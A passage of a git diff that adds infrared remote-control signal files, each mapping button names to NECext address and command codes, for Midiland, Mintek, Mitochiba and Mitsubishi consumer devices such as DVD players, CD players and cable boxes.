NUMERIC_POUND +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 1C 00 00 00 +# +name: NUMERIC_STAR +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 1D 00 00 00 +# +name: UP +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 1E 00 00 00 +# +name: DOWN +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 1F 00 00 00 +# +name: LEFT +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 20 00 00 00 +# +name: RIGHT +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 21 00 00 00 +# +name: OK +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 22 00 00 00 +# +name: BACK +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 23 00 00 00 +# +name: MENU_DVD +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 24 00 00 00 +# +name: LIVE_TV +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 25 00 00 00 +# +name: GUIDE +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 26 00 00 00 +# +name: ZOOM +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 27 00 00 00 +# +name: OPEN/CLOSE +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 28 00 00 00 +# +name: MY_LIGHTS +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 33 00 00 00 +# +name: MY_DISTRIBUTED_AUDIO +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 34 00 00 00 +# +name: MY_THERMOSAT +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 35 00 00 00 +# +name: MY_SECURITY +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 36 00 00 00 +# +name: ONLINE_SPOTLIGHT +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 3C 00 00 00 +# +name: YELLOW/MY_TV +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 46 00 00 00 +# +name: GREEN/MY_MUSIC +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 47 00 00 00 +# +name: RECORDED_TV +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 48 00 00 00 +# +name: BLUE/MY_PICTURES +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 49 00 00 00 +# +name: RED/MY_VIDEOS +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 4A 00 00 00 +# +name: DVD_ANGLE +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 4B 00 00 00 +# +name: DVD_AUDIO +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 4C 00 00 00 +# +name: DVD_SUBTITLE +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 4D 00 00 00 +# +name: PRINT +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 4E 00 00 00 +# +name: RADIO +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 50 00 00 00 +# +name: TELETEXT +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 5A 00 00 00 +# +name: RED +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 5B 00 00 00 +# +name: GREEN +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 5C 00 00 00 +# +name: YELLOW +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 5D 00 00 00 +# +name: BLUE +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 5E 00 00 00 +# +name: TELETEXT_INDEX +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 5F 00 00 00 +# +name: ORANGE +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 60 00 00 00 +# +name: XE_HOME +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 64 00 00 00 +# +name: XE_LIVE_TV +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 65 00 00 00 +# +name: XE_PAGE_UP +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 66 00 00 00 +# +name: XE_GUIDE +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 67 00 00 00 +# +name: XE_PAGE_DOWN +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 68 00 00 00 +# +name: MESSENGER +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 69 00 00 00 +# +name: KIOSK +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 6A 00 00 00 +# +name: OEM1 +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 80 00 00 00 +# +name: OEM2 +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 81 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Midiland/Digital Decoder/81,175.ir b/assets/resources/infrared/_CSV-IRDB_/Midiland/Digital Decoder/81,175.ir new file mode 100644 index 000000000..2eca0beec --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Midiland/Digital Decoder/81,175.ir @@ -0,0 +1,128 @@ +Filetype: IR signals file +Version: 1 +# +name: FUNCTION +type: parsed +protocol: NECext +address: 51 AF 00 00 +command: 02 00 00 00 +# +name: TEST_TONE +type: parsed +protocol: NECext +address: 51 AF 00 00 +command: 03 00 00 00 +# +name: SPEAKER_SETUP +type: parsed +protocol: NECext +address: 51 AF 00 00 +command: 04 00 00 00 +# +name: FRONT +type: parsed +protocol: NECext +address: 51 AF 00 00 +command: 05 00 00 00 +# +name: CANCEL +type: parsed +protocol: NECext +address: 51 AF 00 00 +command: 08 00 00 00 +# +name: REAR +type: parsed +protocol: NECext +address: 51 AF 00 00 +command: 09 00 00 00 +# +name: FL_VOL +type: parsed +protocol: NECext +address: 51 AF 00 00 +command: 0A 00 00 00 +# +name: OK +type: parsed +protocol: NECext +address: 51 AF 00 00 +command: 0C 00 00 00 +# +name: CENTRE +type: parsed +protocol: NECext +address: 51 AF 00 00 +command: 0D 00 00 00 +# +name: RL_VOL +type: parsed +protocol: NECext +address: 51 AF 00 00 +command: 0E 00 00 00 +# +name: SW_VOL +type: parsed +protocol: NECext +address: 51 AF 00 00 +command: 0F 00 00 00 +# +name: FR_VOL +type: parsed +protocol: NECext +address: 51 AF 00 00 +command: 10 00 00 00 +# +name: SUB +type: parsed +protocol: NECext +address: 51 AF 00 00 +command: 11 00 00 00 +# +name: RR_VOL +type: parsed +protocol: NECext +address: 51 AF 00 00 +command: 12 00 00 00 +# +name: C_VOL +type: parsed +protocol: NECext +address: 51 AF 00 00 +command: 14 00 00 00 +# +name: VOL+ +type: parsed +protocol: NECext +address: 51 AF 00 00 +command: 15 00 00 00 +# +name: SURROUND_MODE +type: parsed +protocol: NECext +address: 51 AF 00 00 +command: 17 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 51 AF 00 00 +command: 19 00 00 00 +# +name: VOLUME_SETUP +type: parsed +protocol: NECext +address: 51 AF 00 00 +command: 1B 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 51 AF 00 00 +command: 1C 00 00 00 +# +name: INPUT +type: parsed +protocol: NECext +address: 51 AF 00 00 +command: 1F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Mintek/DVD Player/0,153.ir b/assets/resources/infrared/_CSV-IRDB_/Mintek/DVD Player/0,153.ir new file mode 100644 index 000000000..fcd9b10cc --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Mintek/DVD Player/0,153.ir @@ -0,0 +1,152 @@ +Filetype: IR signals file +Version: 1 +# +name: EXIT +type: parsed +protocol: NECext +address: 00 99 00 00 +command: 02 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 00 99 00 00 +command: 08 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 00 99 00 00 +command: 09 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 00 99 00 00 +command: 0C 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 00 99 00 00 +command: 0D 00 00 00 +# +name: SCAN_<< +type: parsed +protocol: NECext +address: 00 99 00 00 +command: 0E 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 00 99 00 00 +command: 0F 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 00 99 00 00 +command: 11 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 00 99 00 00 +command: 12 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 00 99 00 00 +command: 13 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 00 99 00 00 +command: 14 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 00 99 00 00 +command: 15 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 00 99 00 00 +command: 17 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 00 99 00 00 +command: 19 00 00 00 +# +name: SCAN_>> +type: parsed +protocol: NECext +address: 00 99 00 00 +command: 1A 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 00 99 00 00 +command: 1B 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 00 99 00 00 +command: 1D 00 00 00 +# +name: SKIP_<< +type: parsed +protocol: NECext +address: 00 99 00 00 +command: 1E 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 00 99 00 00 +command: 1F 00 00 00 +# +name: SETUP +type: parsed +protocol: NECext +address: 00 99 00 00 +command: 4D 00 00 00 +# +name: SKIP_>> +type: parsed +protocol: NECext +address: 00 99 00 00 +command: 5B 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 00 99 00 00 +command: 5C 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 00 99 00 00 +command: 5D 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 00 99 00 00 +command: 5E 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 00 99 00 00 +command: 5F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Mitochiba/Unknown_JX-9902/134,107.ir b/assets/resources/infrared/_CSV-IRDB_/Mitochiba/Unknown_JX-9902/134,107.ir new file mode 100644 index 000000000..b23740dec --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Mitochiba/Unknown_JX-9902/134,107.ir @@ -0,0 +1,296 @@ +Filetype: IR signals file +Version: 1 +# +name: view +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 01 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 02 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 03 00 00 00 +# +name: n/p +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 05 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 06 00 00 00 +# +name: KEY_ZOOM +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 07 00 00 00 +# +name: KEY_TIME +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 08 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 09 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 0A 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 0D 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 0E 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 0F 00 00 00 +# +name: KEY_EJECTCD +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 10 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 11 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 12 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 13 00 00 00 +# +name: game +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 14 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 15 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 17 00 00 00 +# +name: KEY_SLOW +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 18 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 19 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 1A 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 1B 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 1D 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 1E 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 1F 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 40 00 00 00 +# +name: ret +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 41 00 00 00 +# +name: spk +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 42 00 00 00 +# +name: ok_scope +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 43 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 44 00 00 00 +# +name: ran +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 45 00 00 00 +# +name: kres +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 46 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 47 00 00 00 +# +name: pbc +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 48 00 00 00 +# +name: prog +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 49 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 4A 00 00 00 +# +name: step +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 4B 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 50 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 51 00 00 00 +# +name: goto +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 52 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 53 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 55 00 00 00 +# +name: freeze +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 56 00 00 00 +# +name: mol +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 57 00 00 00 +# +name: KEY_0+ +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 59 00 00 00 +# +name: rem +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 5A 00 00 00 +# +name: r/l +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 5E 00 00 00 +# +name: c/e +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 5F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Mitochiba/Unknown_KF220100/134,107.ir b/assets/resources/infrared/_CSV-IRDB_/Mitochiba/Unknown_KF220100/134,107.ir new file mode 100644 index 000000000..c3f46103a --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Mitochiba/Unknown_KF220100/134,107.ir @@ -0,0 +1,296 @@ +Filetype: IR signals file +Version: 1 +# +name: view +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 00 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 02 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 06 00 00 00 +# +name: KEY_ZOOM +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 07 00 00 00 +# +name: a-b_pbc +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 08 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 09 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 0A 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 0D 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 0E 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 0F 00 00 00 +# +name: KEY_EJECTCD +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 10 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 11 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 12 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 13 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 15 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 17 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 19 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 1A 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 1B 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 1D 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 1E 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 1F 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 40 00 00 00 +# +name: p/n +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 41 00 00 00 +# +name: spk +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 42 00 00 00 +# +name: mol +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 43 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 44 00 00 00 +# +name: ran +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 45 00 00 00 +# +name: rem +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 45 00 00 00 +# +name: r/l +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 46 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 47 00 00 00 +# +name: time_goto +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 48 00 00 00 +# +name: prog +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 49 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 4A 00 00 00 +# +name: step +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 4B 00 00 00 +# +name: mic_off +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 4D 00 00 00 +# +name: mic_on +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 4E 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 50 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 51 00 00 00 +# +name: game +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 52 00 00 00 +# +name: ret +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 52 00 00 00 +# +name: kres +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 52 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 53 00 00 00 +# +name: rep +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 55 00 00 00 +# +name: freeze_time +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 56 00 00 00 +# +name: KEY_SLOW +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 57 00 00 00 +# +name: KEY_0+ +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 59 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 5E 00 00 00 +# +name: c/e +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 5F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Mitsubishi/CD Player/119,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Mitsubishi/CD Player/119,-1.ir new file mode 100644 index 000000000..41bfb439a --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Mitsubishi/CD Player/119,-1.ir @@ -0,0 +1,296 @@ +Filetype: IR signals file +Version: 1 +# +name: 1 +type: parsed +protocol: NECext +address: 77 00 00 00 +command: C0 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 77 00 00 00 +command: C1 00 00 00 +# +name: DISC_^ +type: parsed +protocol: NECext +address: 77 00 00 00 +command: C3 00 00 00 +# +name: DISC +type: parsed +protocol: NECext +address: 77 00 00 00 +command: C3 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 77 00 00 00 +command: C4 00 00 00 +# +name: PLAY_> +type: parsed +protocol: NECext +address: 77 00 00 00 +command: C4 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 77 00 00 00 +command: C8 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 77 00 00 00 +command: C9 00 00 00 +# +name: FAST_FORWARD +type: parsed +protocol: NECext +address: 77 00 00 00 +command: CA 00 00 00 +# +name: SEARCH_>> +type: parsed +protocol: NECext +address: 77 00 00 00 +command: CA 00 00 00 +# +name: FF_>> +type: parsed +protocol: NECext +address: 77 00 00 00 +command: CA 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: 77 00 00 00 +command: CB 00 00 00 +# +name: CANCEL +type: parsed +protocol: NECext +address: 77 00 00 00 +command: CB 00 00 00 +# +name: +10 +type: parsed +protocol: NECext +address: 77 00 00 00 +command: CE 00 00 00 +# +name: INDEX +type: parsed +protocol: NECext +address: 77 00 00 00 +command: CF 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 77 00 00 00 +command: D0 00 00 00 +# +name: REVERSE +type: parsed +protocol: NECext +address: 77 00 00 00 +command: D2 00 00 00 +# +name: SEARCH_<< +type: parsed +protocol: NECext +address: 77 00 00 00 +command: D2 00 00 00 +# +name: REW_<< +type: parsed +protocol: NECext +address: 77 00 00 00 +command: D2 00 00 00 +# +name: DISC_1 +type: parsed +protocol: NECext +address: 77 00 00 00 +command: D3 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 77 00 00 00 +command: D4 00 00 00 +# +name: STOP_[] +type: parsed +protocol: NECext +address: 77 00 00 00 +command: D4 00 00 00 +# +name: DISC_V +type: parsed +protocol: NECext +address: 77 00 00 00 +command: D6 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: 77 00 00 00 +command: D7 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 77 00 00 00 +command: D8 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 77 00 00 00 +command: DB 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 77 00 00 00 +command: DC 00 00 00 +# +name: PAUSE_ +type: parsed +protocol: NECext +address: 77 00 00 00 +command: DC 00 00 00 +# +name: RANDOM +type: parsed +protocol: NECext +address: 77 00 00 00 +command: DF 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 77 00 00 00 +command: E0 00 00 00 +# +name: DISC_2 +type: parsed +protocol: NECext +address: 77 00 00 00 +command: E3 00 00 00 +# +name: SKIP_>> +type: parsed +protocol: NECext +address: 77 00 00 00 +command: E4 00 00 00 +# +name: FS_(FWD_SRCH)_>> +type: parsed +protocol: NECext +address: 77 00 00 00 +command: E4 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 77 00 00 00 +command: E8 00 00 00 +# +name: DISC_3 +type: parsed +protocol: NECext +address: 77 00 00 00 +command: EB 00 00 00 +# +name: SKIP_<< +type: parsed +protocol: NECext +address: 77 00 00 00 +command: EC 00 00 00 +# +name: RS_(REV_SRCH)_<< +type: parsed +protocol: NECext +address: 77 00 00 00 +command: EC 00 00 00 +# +name: INTRO_SCAN +type: parsed +protocol: NECext +address: 77 00 00 00 +command: EE 00 00 00 +# +name: INTRO +type: parsed +protocol: NECext +address: 77 00 00 00 +command: EE 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 77 00 00 00 +command: F0 00 00 00 +# +name: DISC_4 +type: parsed +protocol: NECext +address: 77 00 00 00 +command: F3 00 00 00 +# +name: ADJUST_^ +type: parsed +protocol: NECext +address: 77 00 00 00 +command: F4 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 77 00 00 00 +command: F5 00 00 00 +# +name: OPEN/CLOSE +type: parsed +protocol: NECext +address: 77 00 00 00 +command: F6 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 77 00 00 00 +command: F8 00 00 00 +# +name: DISC_5 +type: parsed +protocol: NECext +address: 77 00 00 00 +command: FB 00 00 00 +# +name: ADJUST_V +type: parsed +protocol: NECext +address: 77 00 00 00 +command: FC 00 00 00 +# +name: MEMORY +type: parsed +protocol: NECext +address: 77 00 00 00 +command: FE 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 77 00 00 00 +command: FE 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Mitsubishi/Cable Box/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Mitsubishi/Cable Box/0,-1.ir new file mode 100644 index 000000000..ed33da33b --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Mitsubishi/Cable Box/0,-1.ir @@ -0,0 +1,212 @@ +Filetype: IR signals file +Version: 1 +# +name: 0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 00 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 06 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 08 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0A 00 00 00 +# +name: CHANNEL_+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0B 00 00 00 +# +name: CHANNEL_- +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0D 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0E 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0F 00 00 00 +# +name: MUSIC +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 12 00 00 00 +# +name: LAST +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 13 00 00 00 +# +name: BYPASS +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 14 00 00 00 +# +name: FAVORITE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 15 00 00 00 +# +name: A +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 17 00 00 00 +# +name: HELP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 18 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 19 00 00 00 +# +name: B +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 27 00 00 00 +# +name: C +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 28 00 00 00 +# +name: GUIDE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 30 00 00 00 +# +name: INFO +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 33 00 00 00 +# +name: CURSER_UP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 34 00 00 00 +# +name: PAGE_UP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 34 00 00 00 +# +name: CURSER_DOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 35 00 00 00 +# +name: PAGE_DOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 35 00 00 00 +# +name: CURSER_LEFT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 36 00 00 00 +# +name: CURSER_RIGHT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 37 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Mitsubishi/Cassette Tape/119,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Mitsubishi/Cassette Tape/119,-1.ir new file mode 100644 index 000000000..d040d048e --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Mitsubishi/Cassette Tape/119,-1.ir @@ -0,0 +1,266 @@ +Filetype: IR signals file +Version: 1 +# +name: AUDIO_POWER +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 02 00 00 00 +# +name: VOLUME_^ +type: parsed +protocol: NECext 